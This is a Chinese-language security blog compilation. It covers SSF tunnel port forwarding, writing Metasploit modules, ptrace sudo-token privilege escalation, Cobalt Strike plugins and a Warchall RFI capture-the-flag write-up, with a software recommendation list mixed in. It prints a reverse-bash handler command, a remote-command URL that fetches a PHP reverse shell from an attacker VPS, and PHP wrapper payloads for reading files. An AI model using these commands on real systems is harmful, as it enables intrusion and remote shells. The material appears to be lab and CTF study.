ssf隧道
引子
当你凝视深渊的时候,深渊也在凝视着你。
环境
ssf隧道
录制的视频:
socket 套接字是什么
带着问题去思考,何为正向,何为反向
正向端口转发
步骤一:
服务端执行:
upx-ssfd.exe -p 1080
服务端开启1080端口,进行监听
客户端执行:
ssf -D 9000 -p 1080 172.20.122.149(这个ip是服务端的ip)
连接服务端172.20.122.149的1080端口,使用本地9000进行动态端口转发。
反向端口转发
1 |
|
正向SOCKS代理
1 |
|
参考资料:
https://exposedholes.co.uk/2019/10/27/pivoting-on-windows-secure-socket-funneling/
一期纯粹的软件推荐文章
文件相关
文本编辑
- https://notepad-plus-plus.org/downloads/
markdown文档编辑器
-
https://hemashushu.github.io/yu-writer.site/ 优点是界面设计优秀,好看好用
- https://typora.io/
- https://github.com/jgm/pandoc 优点是插件多:支持markdown转docx格式
多人协同在线文档编辑
石墨文档
在线拓扑图
pdf阅读器
多电脑文件同步软件
国内可以用:
国外可以用:Resilio Sync
快速文件搜索
视频播放
上传下载
给别人发大文件快传
https://cowtransfer.com/
多线程文件下载器
祝百度早日倒闭
其他
开源密码管理软件
录屏软件
https://mathewsachin.github.io/Captura/
翻墙软件
https://www.v2ray.com/
虚拟机管理
windows平台ssh客户端
https://mobaxterm.mobatek.net/
msf写插件:建立一个新的session
msf 建立一个新的session
new_session.rb
作用是建立一个新的meterpreter session
1 |
|
todo: 参考exploit/linux/local/ptrace_sudo_token_priv_esc,编写一个check函数,进行提权检查,然后run函数,进行提权利用。
sudo提权模块
写了一天,本来打算提权成功以后,获得一个root权限的meterpreter session,但是失败了。
1 |
|
参考的模块exploit/linux/local/ptrace_sudo_token_priv_esc
复现sudo令牌窃取提权——ptrace Sudo Token Privilege Escalation
漏洞原理
https://onestraw.github.io/linux/ptrace-hack/
ptrace系统调从名字上看是用于进程跟踪的,它提供了父进程可以观察和控制其子进程执行的能力,并允许父进程检查和替换子进程的内核镜像(包括寄存器)的值。
漏洞复现
echo 0 > /proc/sys/kernel/yama/ptrace_scope
sudo ls
输入密码
普通用户输入sudo的密码,就可以使用exploit/linux/local/ptrace_sudo_token_priv_esc进行提权了。提权成功会返回一个root权限的meterpreter session
下一步计划
重写new_session模块,添加提权函数
msf的exp模块
msf的exp模块
分为4个部分
-
class 定义类,导入的msf的类,叫mixins
-
include 导入函数库
-
初始化,定义参数,模块的值
-
定义要执行的exp
如果语法写错了,可以在日志里看: /root/.msf4/logs/framework.log
写的demo,作用是调用tcp模块,进行ftp连接
1 |
|
msf报错(SESSION may not be compatible)
msf报错(SESSION may not be compatible)
起因:sudo -s提权在msf上一直报错,但是在靶机上是可以成功提权的。
msf有一个模块,叫做post/multi/manage/sudo
看过这个模块的源码,就是使用sudo -s来提权的。
为什么会提权失败呢?
环境配置复现,debug
设置msf监听
handler -H 192.168.123.123 -P 6677 -p cmd/unix/reverse_bash
生成反弹shell的载荷
1 |
|
设置metapreter session
使用上一条命令获得一个shell cmd/unix
类型的shell以后,可以使用session -u session的ID
这种方式,获得一个meterpreter x86/linux
的session。
使用meterpreter的session,执行post/multi/manage/sudo
提权载荷,会报错。
1 |
|
使用shell cmd/unix
的载荷不会报错。
查看源码
1 |
|
如何写一个msf插件
1 |
|
linux提权-msf提权插件编写中
linux提权-msf提权插件编写中
cobaltstrike的脚本(四)
linux上线插件CrossC2
1 |
|
windows辅助插件-梼杌
具有信息搜集、提权、横向移动等功能。 https://github.com/pandasec888/taowu-cobalt-strike
参考资料
- https://github.com/gloxec/CrossC2#customextension
- https://www.cobaltstrike.com/help-scripting
- https://www.wangan.com/articles/1069
2021年学习计划
Warchall Live RFI 远程文件包含
访问http://rfi.warchall.net/。
web目录fuzz,以及index.php查看源码
远程命令执行漏洞
查看文件
1 |
|
http://rfi.warchall.net/temp/payload.php?cmd=pwd
/home/level/15_live_rfi/www/temp
1 |
|
获得flag
1 |
|
尝试写入shell
本地开启python server,放一个反弹shell的php脚本。
1 |
|
没有成功在/tmp目录下写入shell。原因可能是权限太低了。
writeup
1 |
|
这是个什么操作?
访问http://rfi.warchall.net/index.php?lang=data://text/plain,<?php print file_get_contents('solution.php',true);?>
反正失败了,没得到solution.php的结果。使用另外一种伪协议php filter
http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=/home/level/15_live_rfi/www/solution.php
1 |
|
同样可以获得solution.php
总结
出题方,肯定不会让人写入shell,或者反弹shell,不然服务器稳定性肯定会出问题。说不定会有些人写入垃圾数据塞满磁盘等等。
rfi和lfi的区别在于,远程文件包含危害更大,可以访问攻击者指定的文件。
在这里如果http://rfi.warchall.net/temp/payload.php?cmd=wget http://vps's IP:8080/php-reverse-shell.php -P /tmp/whale.php
有写权限的话,就可以得到一个shell。而本地文件包含一般要通过文件上传的方式去传一个shell,然后再通过本地文件包含漏洞去执行,而rfi就不用。
不过这里payload.php看起来像是远程命令执行漏洞,不是个rfi。而其他人的writeup虽然使用了data伪协议,去访问flag,但看起来好像还是个lfi漏洞。可能是题目没出好。
感觉没有让做题的人深刻的感受到rfi与lfi的区别,只是用了一下伪协议的知识点。